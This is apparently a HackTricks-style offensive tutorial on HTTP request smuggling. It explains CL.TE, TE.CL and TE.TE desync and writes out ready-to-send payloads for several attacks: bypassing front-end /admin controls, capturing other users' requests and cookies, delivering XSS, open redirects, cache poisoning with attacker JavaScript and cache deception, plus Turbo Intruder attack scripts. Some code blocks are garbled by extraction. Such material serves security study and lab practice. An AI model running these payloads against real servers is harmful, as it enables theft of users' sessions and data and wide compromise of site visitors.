

HTTP Request Smuggling / HTTP Desync Attack

What is

This vulnerability occurs when a **desynchronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an **HTTP request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server. This allows a user to **modify the next request that arrives to the back-end server after his**.

Theory

[RFC Specification \(2161\)](#)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter **MUST** be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.

Chunked means that large data is sent in a series of chunks

Reality

The **Front-End** (a load-balance / Reverse Proxy) **process** the ***content-length*** or the ***transfer-encoding*** header and the **Back-end** server **process** the **other** one provoking a **desynchronization** between the 2 systems.

This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server as **2**

different requests. The **danger** of this technique resides in the fact the **back-end** server will **interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part of the injected request**.

Particularities

Remember that in HTTP a **new line character** is composed by 2 bytes:

- **Content-Length:** This header uses a **decimal number** to indicate the **number of bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**.
- **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number of bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `\r\n\r\n`
- **Connection:** Based on my experience it's recommended to use **Connection: keep-alive** on the first request of the request Smuggling.

Basic Examples

So, request smuggling attacks involve placing both the `Content-Length` header and the `Transfer-Encoding` header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behaviour of the two servers:

- **CL.TE:** the front-end server uses the `Content-Length` header and the back-end server uses the `Transfer-Encoding` header.
- **TE.CL:** the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header.
- **TE.TE:** the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.

CL.TE vulnerabilities

Here, the **front-end** server uses the `Content-Length` header and the **back-end** server uses the `Transfer-Encoding` header. We can perform a simple HTTP request smuggling attack as follows:

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0` \
GET /404 HTTP/1.1
Foo: x
```

Note how `Content-Length` indicate the **bodies request length is 30 bytes long** (*remember that HTTP uses as new line, so 2bytes each new line*), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **beginning of the next request** (BTW, the next request will be appended to `Foo:x<Next request starts here>`).

TE.CL vulnerabilities

Here, the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. We can perform a simple HTTP request smuggling attack as follows:

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b` \ `GET /404 HTTP/1.1` \ `Host: vulnerable-website.com` \ `Content-Type: application/x-www-form-urlencoded` \ `Content-Length: 30` \
x=
0
\
```

In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the `Transfer-encoding` indicates so. But, the **back-end** is going to **process** only the `7b` (4bytes) as indicated in the `Content-Length` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1`

Note that even if the attack must end with a θ the following request is going to be appended as extra values of the x parameter.

Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to be appended to the x parameter. If it's too small, only a few bytes will be appended, and if too large (bigger than the length of the next request) an error will be thrown for the next request.

TE. TE vulnerabilities

Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.

There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example:

```
Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked` \
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked` \ `Transfer-encoding: x` \
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked` \
X: X[\n]Transfer-Encoding: chunked
``

Transfer-Encoding
: chunked
```

Depending on the server (reverse-proxy or backing) that **stops processing** the `TE` header, you will find a **CL. TE vulnerability** or a **TE. CL vulnerability**.

Finding HTTP Request Smuggling

Finding CL. TE vulnerabilities using timing techniques

If an application is vulnerable to the CL. TE variant of request smuggling, then sending a request like the following will often cause a time delay:

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
```

```
1
A
0
```

Since the front-end server uses the `Content-Length` header, it will forward only part of this request, omitting the `0`. The back-end server uses the `Transfer-Encoding` header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.

Sometimes, instead of getting a timeout you receive a 400 bad request from the final host like in the following scenario, where a CL.TE payload is sent:

And the response is a redirect containing an error inside the body with even the version of the haproxy used:

Finding TE.CL vulnerabilities using timing techniques

If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
```

0
X

Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.

Probing HTTP Request Smuggling vulnerabilities

Once you have found that the **timing techniques are working** you need to **probe** that you can **alter others clients requests**.

The easiest way to do this is to try to poison your own requests, **make a request for / return a 404 for example**.

In the [Basic Examples](#) we already saw `CL.TE` and `TE.CL` examples of how to poison a clients request to ask for `/404` provoking a 404 response when the client was asking for any other resource.

Notes

Some important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests:

- The "attack" request and the "normal" request should be sent to the server using different network connections. Sending both requests through the same connection won't prove that the vulnerability exists.
- The "attack" request and the "normal" request should use the same URL and parameter names, as far as possible. This is because many modern applications route front-end requests to different back-end servers based on the URL and parameters. Using the same URL and parameters increases the chance that the requests will be processed by the same back-end server, which is essential for the attack to work.
- When testing the "normal" request to detect any interference from the "attack" request, you are in a race with any other requests that the application is receiving at the same time, including those from other users. You should send the "normal" request immediately after the "attack" request. If the application is busy, you might need to perform multiple attempts to confirm the vulnerability.
- In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed.

- If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution.

Forcing via hop-by-hop headers

Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding** so a HTTP request smuggling is possible to abuse.

```
Connection: Content-Length
```

For more information about hop-by-hop headers visit:

{% content-ref url="../../abusing-hop-by-hop-headers.md" %} [abusing-hop-by-hop-headers.md](#) {% endcontent-ref %}

Abusing HTTP Request Smuggling

To bypass front-end security controls

Some times the **front-end proxies will perform some security checks**. You can avoid them by abusing HTTP Request Smuggling as you will be able to **bypass the protections**. For example, in this example you **cannot access /admin from the outside** and the front-end proxy is checking that, but this proxy isn't checking the embedded request:

CL.TE

```
POST / HTTP/1.1
```

```
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
```

```
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzF0AZIwQr
```

```
Connection: keep-alive
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 67
Transfer-Encoding: chunked
\ `0` \
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``

X=
```

TE.CL

```
POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dp1l5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\
```

Revealing front-end request rewriting

In many applications, the **front-end server performs some rewriting of requests** before they are forwarded to the back-end server, typically by adding some additional request headers.

One common thing to do is to **add to the request the header** `X-Forwarded-For: <IP of the client>` or some similar header so the back-end knows

the IP of the client.

Sometimes, if you can **find which new values are appended** to the request you could be able to **bypass protections** and **access hidden information/endpoints**.

For discovering how is the proxy rewriting the request you need to **find a POST parameter that the back-end will reflect it's value** on the response. Then, use this parameter the last one and use an exploit like this one:

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1` \ `Host: vulnerable-website.com` \ `Content-Type: application/x-www-form-urlencoded` \ `Content-Length: 100` \
search=
```

In this case the next request will be appended after `search=` which is also **the parameter whose value is going to be reflected** on the response, therefore it's going to **reflect the headers of the next request**.

Note that **only the length indicated in the Content-Length header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw an error. Then, you should **start with a small number and increase** it until you see all you wanted to see.

Note also that this **technique is also exploitable with a TE.CL vulnerability** but the request must end with `search=\r\n0` . However, independently of the new line characters the values are going to be appended to the search parameter.

Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request.

Capturing other users' requests

If you can find a POST request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the request of the next client:

POST / HTTP/1.1

Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 319

Connection: keep-alive

Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

Transfer-Encoding: chunked

\`0`\\

POST /post/comment HTTP/1.1

Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net

Content-Length: 659

Content-Type: application/x-www-form-urlencoded

Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

``

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

In this case, the value of the **parameter comment** is going to be **saved inside a comment** of a post in the page that is **publicly available**, so a **comment will appear with the content of the next request**.

One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the `&` character, meaning that the content that is stored from the victim user's request will end at the first `&`, which might even appear in the query string.

Note also that this **technique is also exploitable with a TE.CL vulnerability** but the request must end with `search=\r\n0`. However, independently of the new line characters the values are going to be appended to the search parameter.

Using HTTP request smuggling to exploit reflected XSS

If the web page is also **vulnerable to Reflected XSS**, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages:

- It requires no interaction with victim users
- It can be used to **exploit** XSS behavior in parts of the request that **cannot be trivially controlled in a normal reflected XSS attack**, such as HTTP request headers.

If a web is vulnerable to Reflected XSS on the User-Agent header you can use this payload to exploit it:

```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7Ykn0tb13bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0` \
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``

A=
```

Using HTTP request smuggling to turn an on-site redirect into an open redirect

Many applications perform on-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:

```
GET /home HTTP/1.1
Host: normal-website.com
```

``

HTTP/1.1 301 Moved Permanently

Location: <https://normal-website.com/home/>

This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example:

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 54

Connection: keep-alive

Transfer-Encoding: chunked

\ `0` \

GET /home HTTP/1.1

Host: attacker-website.com

Foo: X

The smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back-end server. For example:

GET /home HTTP/1.1

Host: attacker-website.com

Foo: XGET /scripts/include.js HTTP/1.1

Host: vulnerable-website.com

``

HTTP/1.1 301 Moved Permanently

Location: <https://attacker-website.com/home/>

Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response.

Using HTTP request smuggling to perform web cache poisoning

If any part of the **front-end infrastructure performs caching of content** (generally for performance reasons) then it **might be possible to poison that cache modifying the response of the server**.

We have already seen how to modify the expected returned value from the server to a 404 (in the [Basic Examples](#)), in a similar way you could make the server return the content of `/index.html` when the poisoned request is asking for `/static/include.js`. This way, the content of the `/static/include.js` will be cached with the content of `/index.html` making `/static/include.js` inaccessible to the clients (DoS?).

Notice this is even more interesting if you find some **Open Redirect** or some **on-site redirect to open redirect** (last section). Because, you could be able to **change the cache values** of `/static/include.js` with the **ones of a script controlled by you** (making a **general XSS to all the clients** that try to download the new version of `/static/include.js`).

In this example it's going to be shown how you can exploit a **cache poisoning + on-site redirect to open redirect** to modify the contents of the cache of `/static/include.js` to **serve JS code controlled by the attacker**:

```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0` \
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``

x=1
```

Note how the embedded request is asking for `/post/next?postId=3` This request is going to be redirected to `/post?postId=4` and **will use the value of the Host header** to indicate the domain. Therefore, you can **modify the Host header** to point the attackers server and the redirect will use that domain (**on-site redirect to open redirect**).

Then, **after poisoning the socket**, you need to send a **GET request** to `** /static/include.js **` this request will be **poisoned** by the **on-site redirect to open redirect** request and will **grab the contents of the attacker controlled script**.

The next time that somebody ask for `/static/include.js` the cached contents of the attackers script will be server (general XSS).

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

- In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example:

```
POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0` \
GET /private/messages HTTP/1.1
Foo: X
```

If the **poison reaches a client that was accessing some static content** like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them.

Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and **load all the static contents** and **search for the private data**.

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:

{% content-ref url="../../../http-response-smuggling-desync.md" %} [http-response-smuggling-desync.md](#) {% endcontent-ref %}

Turbo intruder scripts

CL.TE

From <https://hipotermia.pw/bb/http-desync-idor>

```
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    engine.start()

    attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar'''
```

0

```
GET /admin7 HTTP/1.1
```

```
X-Foo: k'''
```

```
engine.queue(attack)
```

```
victim = '''GET / HTTP/1.1
```

```
Host: xxx.com
```

```
...
```

```
for i in range(14):
```

```
    engine.queue(victim)
```

```
    time.sleep(0.05)
```

```
def handleResponse(req, interesting):
```

```
    table.add(req)
```

TE.CL

From: <https://hipotermia.pw/bb/http-desync-account-takeover>

```
def queueRequests(target, wordlists):
```

```
    engine = RequestEngine(endpoint=target.endpoint,  
                            concurrentConnections=5,  
                            requestsPerConnection=1,  
                            resumeSSL=False,  
                            timeout=10,  
                            pipeline=False,  
                            maxRetriesPerRequest=0,  
                            engine=Engine.THREADED,  
                            )
```

```
    engine.start()
```



```
        attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
        engine.queue(attack)

        victim = '''GET / HTTP/1.1
Host: xxx.com

'''
        for i in range(14):
            engine.queue(victim)
            time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)
```

More info

[Image from here.](#)

Tools

- <https://github.com/anshumanpattnaik/http-request-smuggling>
- <https://github.com/PortSwigger/http-request-smuggler>
- <https://github.com/gwen001/pentest-tools/blob/master/smuggler.py>
- <https://github.com/defparam/smuggler>
- <https://github.com/bahruzjabiyev/t-reqs-http-fuzzer>: This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.

References

- <https://portswigger.net/web-security/request-smuggling>
- <https://portswigger.net/web-security/request-smuggling/finding>
- <https://portswigger.net/web-security/request-smuggling/exploiting>
- <https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4>
- <https://github.com/haroonawanofficial/HTTP-Desync-Attack/>
- <https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html>
- <https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/>